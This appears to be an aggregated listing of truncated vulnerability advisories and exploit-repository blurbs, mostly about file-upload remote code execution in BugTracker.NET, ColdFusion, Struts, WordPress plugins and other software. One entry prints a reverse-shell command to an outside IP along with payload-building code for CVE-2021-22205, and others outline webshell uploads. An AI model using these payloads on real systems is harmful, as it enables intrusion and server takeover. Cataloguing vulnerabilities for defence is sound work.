CVE-2026-90847

Overview iuxset.cgi contains an authenticated remote code execution RCE vulnerability via file upload. It lives in the function that's invoked when iuxset.cgi is called with tmenu=camera and smenu=systemsetup, which maps to Camera Management → System Setup in the administrator web UI. Although it...

CVE-2026-92532

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

OpenSTAManager RCE 익스플로잇 CVE-2026-38751 개요 이 Python 스크립트는 OpenSTAManager 2.10에서 확인된 CVE-2026-38751 원격 코드 실행 취약점을 익스플로잇합니다. 이 익스플로잇을 통해 인증된 사용자는 악성 모듈을 업로드하고 대상 시스템에서 임의의 명령을 실행할 수 있습니다. 취약점 세부 정보 CVE ID : CVE-2026-38751 제품 : OpenSTAManager 버전 : 2.10 유형 : 원격 코드 실행 RCE 공격 벡터 : 웹 기반, 유효한 인증 필요 익스플로잇...

EUVD-2026-94284

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2026-92532

A vulnerability exists in the BugTracker.NET attachment functionality where an authenticated user with administrator privileges can modify application configurations to store files in a web-accessible directory. Due to insufficient file extension validation , an attacker can upload and execute a ...

CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell 테스트 버전 취약점 악용 명령 생성 echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumake를 이용한 취약점 악용 이미지 생성 import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh", "chmod +x /tmp/1.sh",...

wargame-tarpioka

BubbleTea CVE-2007-4559 「.tar」を使用したディレクトリトラバーサル脆弱性により../../flag path BubbleTea/ ├── Dockerfile ├── flag ├── requirements.txt └── src ├── files ├── template │ └── index.html └── app.py 現在のビルド手順 dockerの確認 docker ps docker images docker build -t tarpioka docker run -d -it --name tarpioka -p 13680:80...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS 버전 " image.jpg 4 이 파일의 이름을 image.php로 변경합니다. 5 양식 페이지에서 생성한 image.php 파일을 업로드합니다. 6 이제 이 파일을 실행하려면 https://yoursite.com/assets/image.php에 접속하면 됩니다. 참고:https://yoursite.com을 테스트 설치 주소로 바꾸세요. 참조 GHSA-72hg-5wr5-rmfc...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE 이 저장소는 Adobe ColdFusion 2021의 RCE 취약점에 대한 익스플로잇 코드를 포함하고 있습니다. 익스플로잇 설명 익스플로잇은 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm으로 JSP 리버스 셸을 포함한 POST 요청을 보냅니다. 성공하면 셸을 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp...

CVE-2024-22393

CVE-2024-22393 악용 이 취약점을 악용하려면 내가 제공한 사진을 아무 사진 업로드 섹션에 업로드하세요. lottapixel.jpg 참조: https://nvd.nist.gov/vuln/detail/CVE-2024-22393 https://www.openwall.com/lists/oss-security/2024/02/22/1 https://lists.apache.org/thread/f58l6dr4r74hl6o71gn47kmn44vw12cv...

CVE-2024-50510

CVE-2024-50510 AR For Woocommerce = 6.2 - 인증되지 않은 임의 파일 업로드 설명 WordPress용 AR for WooCommerce 플러그인은 6.2까지의 모든 버전에서 파일 형식 검증이 누락되어 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의 파일을 업로드할 수 있으며, 이로 인해 원격 코드 실행이 가능해질 수 있습니다. 세부 정보 유형 : plugin 슬러그 : ar-for-woocommerce 영향받는 버전 : 6.2 CVSS 점수 :...

cve-2017-7269-tool

cve-2017-7269 웹쉘 및 쉘코드 도구 빌드 csc cve-2017-7269.cs 사용법 CVE-2017-7269 parms Header: -h set host for If header -p set port for If header -s set scheme for If header -l length of physical path WebShell: -w upload webshell to server -wp path of webshell to save ShellCode: -c execute the shellcode Misc...

CVE-2023-50164

HackTheBox 랩을 위한 CVE-2023-50164 익스플로잇 설명 이 익스플로잇 은 HackTheBox 의 Strutted 랩을 위해 특별히 개발되었으며, Apache Struts 2의 CVE-2023-50164 취약점을 악용하는 것을 목표로 합니다. 이 결함은 파일 업로드 매개변수 처리의 오류를 통해 경로 탐색Path Traversal을 허용합니다. 이 익스플로잇은 공격자가 악성 파일 업로드 를 수행하고 원격 코드 실행RCE을 얻을 수 있는 방법을 시연하기 위해 만들어졌습니다. 참고: 이 익스플로잇 은...

CVE-2026-38526

CVE-2026-38526 — Krayin CRM ≤ 2.2.x 인증된 RCE ⚠️ 법적 경고 : 이 코드는 교육 목적 및 승인된 테스트CTF, 버그 바운티, 개인 랩 전용으로 제공됩니다. 작성자는 불법적인 사용에 대해 책임지지 않습니다. 설명 Krayin CRM Webkul ≤ 2.2.x는 /admin/tinymce/upload 엔드포인트를 노출하여 인증된 사용자낮은 권한이라도가 확장자 검증 없이 파일을 업로드할 수 있습니다. 해당 파일은 이후 storage/ 폴더에서 제공되어 PHP 코드의 임의 실행이 가능해집니다. 유형 :...

CVE-2025-57462

CVE-2025-57462 설명: machpanel 8.0.32에서 악성 파일 업로드를 통한 저장형 XSS. PoC: https://controlpaneldomain/Client/SubmitTicket.aspx로 이동하여 메타데이터에 XSS 스크립트가 포함된 PDF 파일을 업로드합니다. 티켓을 제출한 후 업로드된 파일에 접근하여 악성 XSS 스크립트를 실행할 수 있습니다. 발견자: Aljohara Abdulmohsen Alsubaie...

CVE-2025-57298

Kotaemon의 안전하지 않은 Markdown 렌더링을 통한 저장형 XSS 요약 Kotaemon은 PDF, Word, Excel 파일과 같은 업로드된 문서를 질의할 수 있는 웹 인터페이스를 제공하는 오픈소스 RAGRetrieval-Augmented Generation 기반 문서 QA 시스템입니다. Kotaemon의 문서 렌더링 파이프라인에는 저장형 교차 사이트 스크립팅XSS 취약점이 존재합니다. 사용자 제어 콘텐츠는 LLM에 의해 처리되고, 적절한 살균 없이 markdown-to-HTML 변환 후 웹 인터페이스에서 렌더링되므...

CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

DotCMS - Arbitrary File Upload

DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. id: CVE-2022-26352 info: name: DotCMS - Arbitrary File Upload author: h1ei1 severity: critical description: DotCM...